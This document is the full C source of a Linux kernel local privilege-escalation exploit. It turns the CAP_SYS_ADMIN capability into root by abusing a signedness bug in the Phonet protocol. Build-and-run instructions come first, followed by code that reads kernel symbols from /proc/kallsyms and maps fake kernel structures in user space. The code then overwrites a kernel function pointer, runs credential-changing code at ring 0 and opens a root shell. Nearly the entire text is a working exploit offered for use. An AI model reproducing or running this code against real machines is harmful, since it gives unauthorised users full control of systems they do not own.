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Getting root, the hard way



/*
 * Linux Kernel CAP_SYS_ADMIN to root exploit
 * by Dan Rosenberg
 * @djrbliss on twitter
 *
 * Usage:
 * gcc -w caps-to-root.c -o caps-to-root
 * sudo setcap cap_sys_admin+ep caps-to-root
 * ./caps-to-root
 *
 * This exploit is NOT stable:
 *
 *  * It only works on 32-bit x86 machines
 *
 *  * It only works on >= 2.6.34 kernels (it could probably be ported back, but
 *    it involves winning a race condition)
 *
 *  * It requires symbol support for symbols that aren't included by default in
 *    several distributions
 *
 *  * It requires the Phonet protocol, which may not be compiled on some
 *    distributions
 *
 *  * You may experience problems on multi-CPU systems
 *
 * It has been tested on a stock Ubuntu 10.10 installation.  I wouldn't be
 * surprised if it doesn't work on other distributions.
 *
 * ----
 *
 * Lately there's been a lot of talk about how a large subset of Linux
 * capabilities are equivalent to root.  CAP_SYS_ADMIN is a catch-all
 * capability that, among other things, allows mounting filesystems and
 * injecting commands into an administrator's shell - in other words, it
 * trivially allows you to get root.  However, I found another way to get root
 * from CAP_SYS_ADMIN...the hard way.
 *
 * This exploit leverages a signedness error in the Phonet protocol.  By
 * specifying a negative protocol index, I can craft a series of fake
 * structures in userspace and cause the incrementing of an arbitrary kernel
 * address, which I then leverage to execute arbitrary kernel code.
 *
 * Greets to spender, cloud, jono, kees, pipacs, redpig, taviso, twiz, stealth,
 * and bla.
 *
 */

#include <stdio.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <errno.h>
#include <string.h>
#include <linux/capability.h>
#include <sys/utsname.h>
#include <sys/mman.h>
#include <unistd.h>

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;

int getroot(void)
{
	
	commit_creds(prepare_kernel_cred(0));
	return 0;	

}

int konami(void)
{

	/* Konami code! */
	asm("inc %edx;"		/* UP */
	    "inc %edx;"		/* UP */
	    "dec %edx;"		/* DOWN */
	    "dec %edx;"		/* DOWN */
	    "shl %edx;"		/* LEFT */
	    "shr %edx;"		/* RIGHT */
	    "shl %edx;"		/* LEFT */
	    "shr %edx;"		/* RIGHT */
	    "push %ebx;"	/* B */
	    "pop %ebx;"
	    "push %eax;"	/* A */
	    "pop %eax;"
	    "mov $getroot, %ebx;"
	    "call *%ebx;");	/* START */

	return 0;
}

/* thanks spender... */
unsigned long get_kernel_sym(char *name)
{
	FILE *f;
	unsigned long addr;
	char dummy;
	char sname[512];
	struct utsname ver;
	int ret;
	int rep = 0;
	int oldstyle = 0;

	f = fopen("/proc/kallsyms", "r");
	if (f == NULL) {
		f = fopen("/proc/ksyms", "r");
		if (f == NULL)
			return 0;
		oldstyle = 1;
	}

	while(ret != EOF) {
		if (!oldstyle)
			ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
		else {
			ret = fscanf(f, "%p %s\n", (void **)&addr, sname);
			if (ret == 2) {
				char *p;
				if (strstr(sname, "_O/") || strstr(sname, "_S."))
					continue;
				p = strrchr(sname, '_');
				if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) {
					p = p - 4;
					while (p > (char *)sname && *(p - 1) == '_')
						p--;
					*p = '\0';
				}
			}
		}
		if (ret == 0) {
			fscanf(f, "%s\n", sname);
			continue;
		}
		if (!strcmp(name, sname)) {
			fprintf(stdout, " [+] Resolved %s to %p\n", name, (void *)addr);
			fclose(f);
			return addr;
		}
	}

	fclose(f);
	return 0;
}

int main(int argc, char * argv[])
{

	int sock, proto, i, offset = -1;
	unsigned long proto_tab, landing, target, pn_ops, pn_ioctl, *ptr;
	void * map;
	
	/* Create a socket to load the module for symbol support */
	printf("[*] Testing Phonet support and CAP_SYS_ADMIN...\n");
	sock = socket(PF_PHONET, SOCK_DGRAM, 0);

	if(sock < 0) {
		if(errno == EPERM)
			printf("[*] You don't have CAP_SYS_ADMIN.\n");

		else
			printf("[*] Failed to open Phonet socket.\n");
		
		return -1;
	}

	/* Resolve kernel symbols */
	printf("[*] Resolving kernel symbols...\n");

	proto_tab = get_kernel_sym("proto_tab");
	pn_ops = get_kernel_sym("phonet_dgram_ops");
	pn_ioctl = get_kernel_sym("pn_socket_ioctl");
	commit_creds = get_kernel_sym("commit_creds");
	prepare_kernel_cred = get_kernel_sym("prepare_kernel_cred");

	if(!proto_tab || !commit_creds || !prepare_kernel_cred ||
	   !pn_ops || !pn_ioctl) {
		printf("[*] Failed to resolve kernel symbols.\n");
		return -1;
	}

	/* Thanks bla, for reminding me how to do basic math */
	landing = 0x20000000;
	proto = 1 << 31 | (landing - proto_tab) >> 2;

	/* Map it */
	printf("[*] Preparing fake structures...\n");

	map = mmap((void *)landing, 0x10000,
		   PROT_READ | PROT_WRITE | PROT_EXEC,
		   MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);
	
	if(map == MAP_FAILED) {
		printf("[*] Failed to map landing area.\n");
		return -1;
	}
	
	/* Pointer to phonet_protocol struct */
	ptr = (unsigned long *)landing;
	ptr[0] = &ptr[1];

	/* phonet_protocol struct */
	for(i = 1; i < 4; i++)
		ptr[i] = &ptr[4];

	/* proto struct */
	for(i = 4; i < 204; i++)
		ptr[i] = &ptr[204];

	/* First, do a test run to calculate any offsets */
	target = 0x30000000;

	/* module struct */
	for(i = 204; i < 404; i++)
		ptr[i] = target;
	
	/* Map it */
	map = mmap((void *)0x30000000, 0x2000000,
		   PROT_READ | PROT_WRITE | PROT_EXEC,
		   MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);
	
	if(map == MAP_FAILED) {
		printf("[*] Failed to map landing area.\n");
		return -1;
	}

	printf("[*] Calculating offsets...\n");

	socket(PF_PHONET, SOCK_DGRAM, proto);
	
	ptr = 0x30000000;
	for(i = 0; i < 0x800000; i++) {
		if(ptr[i] != 0) {
			offset = i * sizeof(void *);
			break;
		}
	}

	if(offset == -1) {
		printf("[*] Test run failed.\n");
		return -1;
	}

	/* MSB of pn_ioctl */
	target = pn_ops + 10 * sizeof(void *) - 1 - offset;
	
	/* Re-fill the module struct */
	ptr = (unsigned long *)landing;
	for(i = 204; i < 404; i++)
		ptr[i] = target;
	
	/* Push pn_ioctl fptr into userspace */
	printf("[*] Modifying function pointer...\n");

	landing = pn_ioctl;	
	while((landing & 0xff000000) != 0x10000000) {
		socket(PF_PHONET, SOCK_DGRAM, proto);
		landing += 0x01000000;
	}

	/* Map it */
	map = mmap((void *)(landing & ~0xfff), 0x10000,
		   PROT_READ | PROT_WRITE | PROT_EXEC,
		   MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);
	
	if(map == MAP_FAILED) {
		printf("[*] Failed to map payload area.\n");
		return -1;
	}

	/* Copy payload */
	memcpy((void *)landing, &konami, 1024);

	printf("[*] Executing Konami code at ring0...\n");
	ioctl(sock, 0, NULL);

	if(getuid()) {
		printf("[*] Exploit failed to get root.\n");
		return -1;
	}

	printf("[*] Konami code worked!  Have a root shell.\n");
	execl("/bin/sh", "/bin/sh", NULL);

}